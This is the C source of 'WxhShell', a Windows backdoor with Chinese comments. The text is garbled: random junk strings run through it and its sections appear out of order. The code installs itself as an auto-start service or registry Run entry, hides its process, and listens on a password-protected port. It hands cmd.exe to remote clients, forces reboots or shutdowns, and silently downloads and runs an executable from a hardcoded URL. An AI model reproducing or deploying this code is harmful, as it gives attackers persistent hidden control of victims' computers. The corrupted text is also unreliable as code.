E if(NULL == hInst ) return 0; R994R@gz f6@^Mg g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +qE,<c}} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p`shYyE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n U+pnkMj &h98.A*& if (!NtQueryInformationProcess) return 0; mYzsTUq
zjZ;xn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B4PW4>GF
if(!hProcess) return 0; g/fp45s ly9x1`?$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m
T>b; q}wl_ku9+ CloseHandle(hProcess); gK&5HTo %g2/o^c* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GGYX!=]~ if(hProcess==NULL) return 0; r3*+8D~a_ $w 5#2Za HMODULE hMod; 0[_O+u char procName[255]; 9/@FADh unsigned long cbNeeded; ~Rx~g ,+swH;=7#r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |?4~T: ~xsb5M5 CloseHandle(hProcess); 8#NIs@DJ b|\{ !N] if(strstr(procName,"services")) return 1; // 以服务启动 a/wUeW U}mL,kj" return 0; // 注册表启动 FY_avW } [ flu|v W)G2Cs?p // 主模块 H5F\-&cq int StartWxhshell(LPSTR lpCmdLine) ,I9][_ { }3
fLV SOCKET wsl; FU [8:o62 BOOL val=TRUE; xg*\j)_} int port=0; lo IL{2 struct sockaddr_in door; v
Ie=wf~D` __oY:d(~ if(wscfg.ws_autoins) Install(); 9b"}CEw }.fZy&_
port=atoi(lpCmdLine); "t3uW6& tal>b]B; if(port<=0) port=wscfg.ws_port; D;16}D C}M0XW WSADATA data; hlSB7D"d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b<29wL1 F``EARG)iu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; % 8rr*l5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -52@%uB door.sin_family = AF_INET; TsFV
;Sl3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); kx;xO>dC door.sin_port = htons(port); B` t6H 8gu'dG = if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 02]8|B(E90 closesocket(wsl); Fyi?,, return 1; y{&{=1# } |,M#8NOp: 8M".o n if(listen(wsl,2) == INVALID_SOCKET) { ue^?/{OuT closesocket(wsl); 42b=z//; return 1; (FjsN5 } 14@q $}sf Wxhshell(wsl); DRKc&F6Qy WSACleanup(); =Ov;'MC o}r!qL0c return 0; ~x+:44* eE#81]'6a } cAsSN.HFS S+Yy // 以NT服务方式启动 &kr_CP:; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uJ)\P { ^>vO5Ho. DWORD status = 0; h^[ppc{Z DWORD specificError = 0xfffffff; <.?^LT ZPxOds1m serviceStatus.dwServiceType = SERVICE_WIN32; 1A)wbH) serviceStatus.dwCurrentState = SERVICE_START_PENDING; kcma/d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
WL]Wu.k serviceStatus.dwWin32ExitCode = 0; )M|O;~q serviceStatus.dwServiceSpecificExitCode = 0; ^Xt]wl*]+ serviceStatus.dwCheckPoint = 0; H;b'"./ serviceStatus.dwWaitHint = 0; P}.yEta ]/<Qn-BbU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _+R_ms if (hServiceStatusHandle==0) return; A]~i uUHm W&~iO status = GetLastError(); u=ds]XP@ if (status!=NO_ERROR) Sj]T{3mi { t6,M serviceStatus.dwCurrentState = SERVICE_STOPPED; m;tY(kO serviceStatus.dwCheckPoint = 0; |]]pHC_/W serviceStatus.dwWaitHint = 0; ay7+H7^|hZ serviceStatus.dwWin32ExitCode = status; d= T9mj.@ serviceStatus.dwServiceSpecificExitCode = specificError; ]=
QCCC SetServiceStatus(hServiceStatusHandle, &serviceStatus); +_|cZlQ& return; H $qdU!c } DT7-v4Zd T$8$9D_u serviceStatus.dwCurrentState = SERVICE_RUNNING; :BZx)HxQ serviceStatus.dwCheckPoint = 0; oRJP5Y5na serviceStatus.dwWaitHint = 0; (1r>50Ge if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,[K)E } n9-q5X^e> 2YP"nj# // 处理NT服务事件,比如:启动、停止 @ T~#Gwv VOID WINAPI NTServiceHandler(DWORD fdwControl) 7gR; { ` $x#_-Hn switch(fdwControl) o._#=7|( { 7+Jma! o case SERVICE_CONTROL_STOP: 2M(PH]D serviceStatus.dwWin32ExitCode = 0; BoiIr[ ( serviceStatus.dwCurrentState = SERVICE_STOPPED; kvO`]>#;$? serviceStatus.dwCheckPoint = 0; %N_S/V0` serviceStatus.dwWaitHint = 0; Ll E_{||h { G~$M"@Q7N SetServiceStatus(hServiceStatusHandle, &serviceStatus); li'1RKr } 0.+Z;j return; g9r5t'; case SERVICE_CONTROL_PAUSE: W0?Y%Da(4m serviceStatus.dwCurrentState = SERVICE_PAUSED; 51(`wo>LS break; B6!<@*BI case SERVICE_CONTROL_CONTINUE: Drq{)#7 serviceStatus.dwCurrentState = SERVICE_RUNNING; }zfLm`vJ break; yOCcp+`T} case SERVICE_CONTROL_INTERROGATE: 4`5Qt=} break; E,yzy[gl }; O t4+VbB6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); R;-FZ@u/ } IM&7h!
l"| '8pPGh9D // 标准应用程序主函数 <n2{+eO int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I9j+x]) { fM[fS?W kKk |@ // 获取操作系统版本 &u`rE"" OsIsNt=GetOsVer(); #?|1~HC GetModuleFileName(NULL,ExeFile,MAX_PATH); &T/9yW[L ' ^L // 从命令行安装 hw.demD if(strpbrk(lpCmdLine,"iI")) Install(); hs#s $})}Z 0~L8yMM // 下载执行文件 U!UX"r if(wscfg.ws_downexe) { Ue\oIi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q\>SF WinExec(wscfg.ws_filenam,SW_HIDE); cW|Zgz8vv } #Uk6Fmu] .+~kJ0~Y if(!OsIsNt) { snzH}$Ls // 如果时win9x,隐藏进程并且设置为注册表启动 WMz|FFKVY HideProc(); 1B]wSvP@ StartWxhshell(lpCmdLine); d.(]V2X.J } =d4',[O else }6{ )Jv if(StartFromService()) K.L+;
nQ // 以服务方式启动 ~322dG StartServiceCtrlDispatcher(DispatchTable); ?;7>`F6ld else f7AJSHe // 普通方式启动 yW,#&>]# | StartWxhshell(lpCmdLine); z8[|LF-dx FbNQ return 0; ^WYG?/{4 } EjCzou ]]QCJf@p {_N(S]Z 4)Wzj4qW =========================================== 0+`*8G) #UnO~IE.m$ zSufU2 +A3\Hj&W szs3x-g #Lt+6sa]2@ " -hV KPIb *ww(5 t #include <stdio.h> FrM~6A_ #include <string.h> cx%9UK*c #include <windows.h> -r0\ #include <winsock2.h> 'Bn_'w~j{ #include <winsvc.h> :h dh$}y #include <urlmon.h> %lW:8ckL l{x#*~ga #pragma comment (lib, "Ws2_32.lib") MBrVh6z> #pragma comment (lib, "urlmon.lib") pY5HW2TsY| @uD{`@[ #define MAX_USER 100 // 最大客户端连接数 $>37PVVW #define BUF_SOCK 200 // sock buffer l]=$< #define KEY_BUFF 255 // 输入 buffer EF{'J8AQ <g1hdF0 #define REBOOT 0 // 重启 yFtf~8s3 #define SHUTDOWN 1 // 关机 T:5%sN;#O ~g|0uO}. #define DEF_PORT 5000 // 监听端口 B{7/A[$%C 5Jd {Ev #define REG_LEN 16 // 注册表键长度 hf5SpwxLiH #define SVC_LEN 80 // NT服务名长度 /3%xQK>% ~4gKAD // 从dll定义API zC;lfy{f= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e[o
;l
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &8L\FAY0%9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TTak[e&j3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Ya6yz 'UCx^- // wxhshell配置信息 Gf.o{ struct WSCFG { JU+'UK630 int ws_port; // 监听端口 KftM4SFbK char ws_passstr[REG_LEN]; // 口令 Pu*UZcXY int ws_autoins; // 安装标记, 1=yes 0=no |VF"Cjw? char ws_regname[REG_LEN]; // 注册表键名 X,CFY char ws_svcname[REG_LEN]; // 服务名 LMj'?SuH char ws_svcdisp[SVC_LEN]; // 服务显示名 nECf2>Yp v char ws_svcdesc[SVC_LEN]; // 服务描述信息 N2Hb19/k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t O;W?g int ws_downexe; // 下载执行标记, 1=yes 0=no ofv
1G=P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %+J*oFwQu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S*@0%|Q4r U MIZ:*j }; =xP{f<` .Q@'O b` // default Wxhshell configuration V2skr_1 struct WSCFG wscfg={DEF_PORT, ?E@[~qq_ "xuhuanlingzhe", "$YLU}S9 1, =i %w_e "Wxhshell", p[:%Ck"$7 "Wxhshell", ZJM^P'r.1c "WxhShell Service", Bq`kVfx "Wrsky Windows CmdShell Service", <cjTn:w "Please Input Your Password: ", aBLb i 1, K7Tell\` "http://www.wrsky.com/wxhshell.exe", JPKZU<:+V "Wxhshell.exe" M&-/&>n! }; "A3xX&9-q l_EI7mJ // 消息定义模块 ' "
yl>" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =_3qUcOP char *msg_ws_prompt="\n\r? for help\n\r#>"; vH8%a8V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]iX$p~riH char *msg_ws_ext="\n\rExit."; Rj=Om char *msg_ws_end="\n\rQuit."; DlO;EH char *msg_ws_boot="\n\rReboot..."; (LPD char *msg_ws_poff="\n\rShutdown..."; S`.-D+.68 char *msg_ws_down="\n\rSave to "; 6[7k}9`alz IQv>{h} char *msg_ws_err="\n\rErr!"; F'*4:WD7 char *msg_ws_ok="\n\rOK!"; - mXr6R? o|C{ s char ExeFile[MAX_PATH]; x*)O<K int nUser = 0; ! .}{
f;Ls HANDLE handles[MAX_USER]; NDGBvb int OsIsNt; )Cfrqe1^ +2O_LPV$, SERVICE_STATUS serviceStatus; 4N:
;Mo&B SERVICE_STATUS_HANDLE hServiceStatusHandle; 6>J#M MqH~L?~}| // 函数声明 z6(Q
3@iO int Install(void); Ba~Iy2\x int Uninstall(void); F
tjm@:X int DownloadFile(char *sURL, SOCKET wsh); j]SkBZgik int Boot(int flag); ?yK\L-ad void HideProc(void); #1R
%7*$i int GetOsVer(void); gvYs<,: int Wxhshell(SOCKET wsl); B[50{;X void TalkWithClient(void *cs); uD3_'a int CmdShell(SOCKET sock); e vuP4-[y int StartFromService(void); $S{j}74[ int StartWxhshell(LPSTR lpCmdLine); cIjsUqKa DcHMiiVM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z& jDO ex VOID WINAPI NTServiceHandler( DWORD fdwControl ); \$"Xr CVp<SS( // 数据结构和表定义 HbVLL`06* SERVICE_TABLE_ENTRY DispatchTable[] = V;(LeuDH| { JK^;-& {wscfg.ws_svcname, NTServiceMain}, Y1IlH8+0 {NULL, NULL} O2f2Fb$B7 }; o5R40[" U)8]pUI+/P // 自我安装 O1,[7F.4g int Install(void) -}o;Y)
{ _#B/#^a char svExeFile[MAX_PATH]; eH{ 9w8~ HKEY key; ;"z>p25=T strcpy(svExeFile,ExeFile); 9v0|lS!- Nig-D>OS // 如果是win9x系统,修改注册表设为自启动 FeLP!oS> if(!OsIsNt) {
V;jz0B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /G ;yxdb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Z%`&D~u RegCloseKey(key); !)34tu2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZbUf|#GTB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p6'8l~W+ RegCloseKey(key); v'tk:Hm1 return 0; *2F}e4v } K2 2Xo<3 } g_U69
z } X Rn=;gK%J else { +&@0;zSga UEUTu}4y // 如果是NT以上系统,安装为系统服务 eHR<(8c'f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pJ[Q.QxU if (schSCManager!=0) iXFaQ { 9K!='u` SC_HANDLE schService = CreateService .2xkf@OP (
2X_ef schSCManager, ZI7<E wscfg.ws_svcname, )RFeF!(" wscfg.ws_svcdisp, Sqs`E[G* SERVICE_ALL_ACCESS, _rd{cvdR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -}@9lhS, SERVICE_AUTO_START, {W]jVh p SERVICE_ERROR_NORMAL, xFZq6si? svExeFile, s? Kn,6Y NULL, }T,uw8?f! NULL, CggEAi~ NULL, v&n&i? NULL, g%trGW3{- NULL 3QpTO, ); tS$Ne7yk e if (schService!=0) /Ny&;Y { ?}[keSEh> CloseServiceHandle(schService); /
<p HDY CloseServiceHandle(schSCManager); 0N.*c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jTnu! H2o strcat(svExeFile,wscfg.ws_svcname); /7^~* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H;2pk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OjZ@_V: RegCloseKey(key); PW}.` return 0; Cp%|Q.? } EeO{G*pq } 0*)79Sz CloseServiceHandle(schSCManager);
U{EW +> } 4%TC2Laii } (P ?9Jct U,'n}]=4A3 return 1; jJ|;Nwm<[ } w8qI7/ ,v"A}g0" // 自我卸载 :Lx]`dSk int Uninstall(void) Zu,f&smb { *D,T}N HKEY key; E'Bt1u .
fIodk if(!OsIsNt) { H|Ems}b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a|.u; RegDeleteValue(key,wscfg.ws_regname); )-(NL!?` RegCloseKey(key); o0 Ae*Y0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YdFC YSiS RegDeleteValue(key,wscfg.ws_regname); z2V!u\It RegCloseKey(key); D)5wGp return 0; VI?[8@*Z } "q$M\jK#V } X_lNnk } zF PSk] else { $IHa]9 { {#vo^& B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SZ_hG D 0 if (schSCManager!=0) <\5{R@A*6 { b{&@Lm0Tn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b}fH$.V@ if (schService!=0) +"!IVHY { =F9-,"EAI if(DeleteService(schService)!=0) { x-1[2K1"[ CloseServiceHandle(schService); <x/&Ml+ CloseServiceHandle(schSCManager); ,f$RE6 return 0; @:63OLlrG } >9 iv> CloseServiceHandle(schService); KvQ9R!V } du !.j CloseServiceHandle(schSCManager); "jSn` } sdb#K?l } 7$ 'ja Z1Wra-g return 1; CV k8MA } B4 hR3% 0^+W"O // 从指定url下载文件 OHU(?TBo int DownloadFile(char *sURL, SOCKET wsh) >a<;)K^1 { \?j(U8mB> HRESULT hr; *d=pK*g char seps[]= "/"; u>BR WN char *token; %vW@_A~ char *file; VD4( char myURL[MAX_PATH]; kW"N~Xw) char myFILE[MAX_PATH]; m`/OO;/; s
SDBl~g strcpy(myURL,sURL); ?IK[]=! token=strtok(myURL,seps); ||hd(_W8 while(token!=NULL) C-8@elZ1 { YJ6Xq||_ file=token; k@?<Aw8_X token=strtok(NULL,seps); :0J;^@ } 5lT lZRH1 Af;$}P GetCurrentDirectory(MAX_PATH,myFILE); ="V6z$N strcat(myFILE, "\\"); LVSJK.B strcat(myFILE, file); e.[h send(wsh,myFILE,strlen(myFILE),0); "h
"vp&A send(wsh,"...",3,0); C`fQ` RL\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }u
:sh >2 if(hr==S_OK) ^W^%PJD| return 0; [|vdr. else b<%6aRC\ return 1; #}.db?[Rv .k}h'nE } )/UkJ/}j Qk((H~I} // 系统电源模块 d2pVO]l YZ int Boot(int flag) ZPXxrmq% { s\@!J.Da HANDLE hToken; hUqIjc uL4 TOKEN_PRIVILEGES tkp; ,ecFHkT> ]\{EUx9 if(OsIsNt) { _o;alt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L~\Ir LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j
sm{|' tkp.PrivilegeCount = 1; 2gA6$s7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `U(FdT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kxh
$R> if(flag==REBOOT) { KcHW>IBxdv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yovC~ return 0; 2TdcZ<k}J } .RdnJ&K* else { z&w@67
>j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q%nWBmPZ~y return 0; BRzrtK } flRok?iF } gkDB8,C<j else { f|u!?NGl if(flag==REBOOT) { >mz<=n
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HZ/e^"cpM return 0;
KrB"2e+J } Bx)4BPaN else { opd^|xx0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~OXPn9qPp return 0; }}<^fM } s$A|>TOY } L^dF
)y? Y-v6xUc{F return 1; (m13
ong } ^)TZHc2a[ DKR2b`J // win9x进程隐藏模块 qeypa! void HideProc(void) nPE{Gp) } { T< D&%) ta%yQd7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G@s
rQum( if ( hKernel != NULL ) `#R[x7bA1 { W2'u]1bs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `KB; 3L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tmKHT FreeLibrary(hKernel); #mFIZMTRd } }gete'I r[K%8Y8` return; W|4:3c4 } X3@Uih}| ;O+=
6>W // 获取操作系统版本 nH_M# int GetOsVer(void) )1N~-VuT { Dr)B0]KG OSVERSIONINFO winfo; ',P$m&z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OQ&l/|{O0? GetVersionEx(&winfo); <v%Q|r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0-6rIdDTM return 1; :pq+SifP else -e(e;e return 0; 6o6I]QL } n86LU Sj5 !cW6dc^ // 客户端句柄模块 .k cyw>T`I int Wxhshell(SOCKET wsl) e w?4; { "Doz~R\\ SOCKET wsh; -%,=%FBi~4 struct sockaddr_in client; yw\Q>~$n[= DWORD myID; {OIB/ E%LUJx} while(nUser<MAX_USER) .~u[rc|< { #Pt_<?JtV int nSize=sizeof(client); qz95) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0~4Ww=# if(wsh==INVALID_SOCKET) return 1; FF #T"y0Y k'QI`@l&l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @q]4]U) if(handles[nUser]==0) nvbzC tC closesocket(wsh); jl9hFubwW else TXdo,DPv7 nUser++; {.eo?dQ } {^8?fJ/L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w{mw?0 xu\s2x$ return 0; s5h}MXIXw } MroN=%|t xIA] 5@;a // 关闭 socket pmRm&VgE. void CloseIt(SOCKET wsh) KrdEB0qh { f YSH]! closesocket(wsh); [4w*<({* nUser--; agt/;>q\~ ExitThread(0); Hsn'" } z^vfha qA0PGo // 客户端请求句柄 iYD5~pK8 void TalkWithClient(void *cs) sKCYGt$ { hi`[ DG?g~{Y~b SOCKET wsh=(SOCKET)cs; t'1g+g char pwd[SVC_LEN]; Qo32oT[DM char cmd[KEY_BUFF]; ,BUrZA2\U$ char chr[1]; 1oe,>\\ int i,j; ulE5lG0c bgLa`8 while (nUser < MAX_USER) { bmu] zJ ]"}BqS0 if(wscfg.ws_passstr) { <?s@-mpgN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {xx}xib3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )xq=V //ZeroMemory(pwd,KEY_BUFF); v*[UG^+) i=0; 47N,jVt4 while(i<SVC_LEN) { k4a51[SYBK _3(rwD // 设置超时 !wN2BCSY@ fd_set FdRead; 3\2%i6W6 struct timeval TimeOut; )r^vrCNy> FD_ZERO(&FdRead); +5S>"KAUt0 FD_SET(wsh,&FdRead); @^T~W^+ TimeOut.tv_sec=8; p#).;\M TimeOut.tv_usec=0; rY6x):sC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D=Q.Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >$7x]f hr;^.a^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;plBo%EBV pwd=chr[0]; To}eJ$8*5 if(chr[0]==0xd || chr[0]==0xa) { SIapY%)h pwd=0; 1RJFPv break; nfbR"E
jXr } K[kK8i+( i++; QEg[ } ~Oa$rqu%m 3CgID6[Sy // 如果是非法用户,关闭 socket <o/!M6^: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b{qN7X~> } "I66@d? ~P#mvQE) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0N^+d,Xt. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %cLS*=MO jYi,oE while(1) { 1aQm r=, $2\8Rn6' ZeroMemory(cmd,KEY_BUFF); ~5'7u-; hs[x\:})/ // 自动支持客户端 telnet标准 -nXP<v=V j=0; (P`=9+ while(j<KEY_BUFF) { V:w%5'^3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?TeozhUY cmd[j]=chr[0]; b3EGtC}^ if(chr[0]==0xa || chr[0]==0xd) { vof8bQ{& cmd[j]=0; 23P&n(. break; +l^tT&s;f } u"q56}Q?] j++; vP x/&x } ~v%6*9 u8T@W}FX // 下载文件 uLafO=Q if(strstr(cmd,"http://")) { w%.hALN5-C send(wsh,msg_ws_down,strlen(msg_ws_down),0); X8VBs#tLE if(DownloadFile(cmd,wsh)) XjF@kQeM= send(wsh,msg_ws_err,strlen(msg_ws_err),0); j1KNgAo<4 else =B9-}]DDO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5]>*0#C
S } YZ5,K6u else { `mzlOB M2Jf-2 switch(cmd[0]) { ZA+dtEE=f9 uG^CyM>R` // 帮助 ^#d\HI case '?': { AY{KxCrb^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
'g!T${ break; #h?IoB7 } q)i %*IY // 安装 HD^#" case 'i': { ?>Sv_0 if(Install()) Ss+F send(wsh,msg_ws_err,strlen(msg_ws_err),0); ao2^3e else nS04Ha
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .26mB
Xr break; j@>D]j } q0NFz mG // 卸载 W}f)VC;D case 'r': { }:m/@LKB if(Uninstall()) ux<|8S send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5bp~.m<
else 1ZI1+TDH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^FKiVKI: break; S3\NB3@qC& } eCYPd-d // 显示 wxhshell 所在路径 5E\.YqdV case 'p': { "iA0hA char svExeFile[MAX_PATH]; 3]l)uoNt/ strcpy(svExeFile,"\n\r"); k5I;Y:~` strcat(svExeFile,ExeFile); $AZYY\1 send(wsh,svExeFile,strlen(svExeFile),0); ,B[j{sE break; 7q+D}+ Xf } 1(gs({ // 重启 T&lgWOls case 'b': { TI'v /=;) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =vbG'_[7 if(Boot(REBOOT)) mux/\TII send(wsh,msg_ws_err,strlen(msg_ws_err),0); QWk3y"5n< else { YI g(^>sq closesocket(wsh); cD0rU8x ExitThread(0); XVqOiv) } :~otzI4%! break; KLyRb0V } 5MVa;m // 关机 CIx(SeEF case 'd': { {Rkd;`Q`! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c_3B: F7 if(Boot(SHUTDOWN)) S@/{34, send(wsh,msg_ws_err,strlen(msg_ws_err),0); WO_Uc_R else { /W/e%. closesocket(wsh); eX+36VG\ ExitThread(0); w*-42r3,' } U?UU]>Q break; (9Zvr4.f7 } YNr"]SA@ ; // 获取shell xqt?z n case 's': { $fmTa02q> CmdShell(wsh); `,qft[1 closesocket(wsh); qYC&0`:H ExitThread(0); \baY+,Dr+ break; ZwkUd-=0i } F\ B/q // 退出 =rA?,74 case 'x': { 4!IuTPmr send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nGH6D2!F CloseIt(wsh);
h[W`P%xZ break; AELj"=RA } "+(|]q"W // 离开 *'>_XX case 'q': { xDo0bR( send(wsh,msg_ws_end,strlen(msg_ws_end),0); ev4[4T-(@ closesocket(wsh); GC')50T J WSACleanup(); q&25,zWD exit(1); X'`n>1z break; =Hg!@5]H } mtmC,jnD } l7|z]v- } qX,q*hr- 3vY-;& // 提示信息 ek][^^4o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BU:;;iV8 } =W~7fs } ON,[!pc i#'K7XM2 return; qYK^S4L } MgXZN{ o701RG~) // shell模块句柄 NiZfaC6V int CmdShell(SOCKET sock) RlOy,/-< { 2:38CdkYp STARTUPINFO si; g(@F`W[ ZeroMemory(&si,sizeof(si)); ^Hx}.?1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e9{ii2M si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $
VT) PROCESS_INFORMATION ProcessInfo; .C'\U[A{ char cmdline[]="cmd"; L/i'6(=" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z@,pT"rb return 0; 1}d
F,e }
7kLurv )ros-dp` // 自身启动模式 LCivZ0?|X int StartFromService(void) g88k@<Y { jZA1fV typedef struct tm~9XFQ< { 0>28o. DWORD ExitStatus; 0Y8gUpe3P6 DWORD PebBaseAddress; $gl|^c\ DWORD AffinityMask; zG9FO/@av DWORD BasePriority; cXq9k!I% ULONG UniqueProcessId; %g9ym@s ULONG InheritedFromUniqueProcessId; 0z>IYw|UB } PROCESS_BASIC_INFORMATION; `=(<!nXJx C~ &E7w |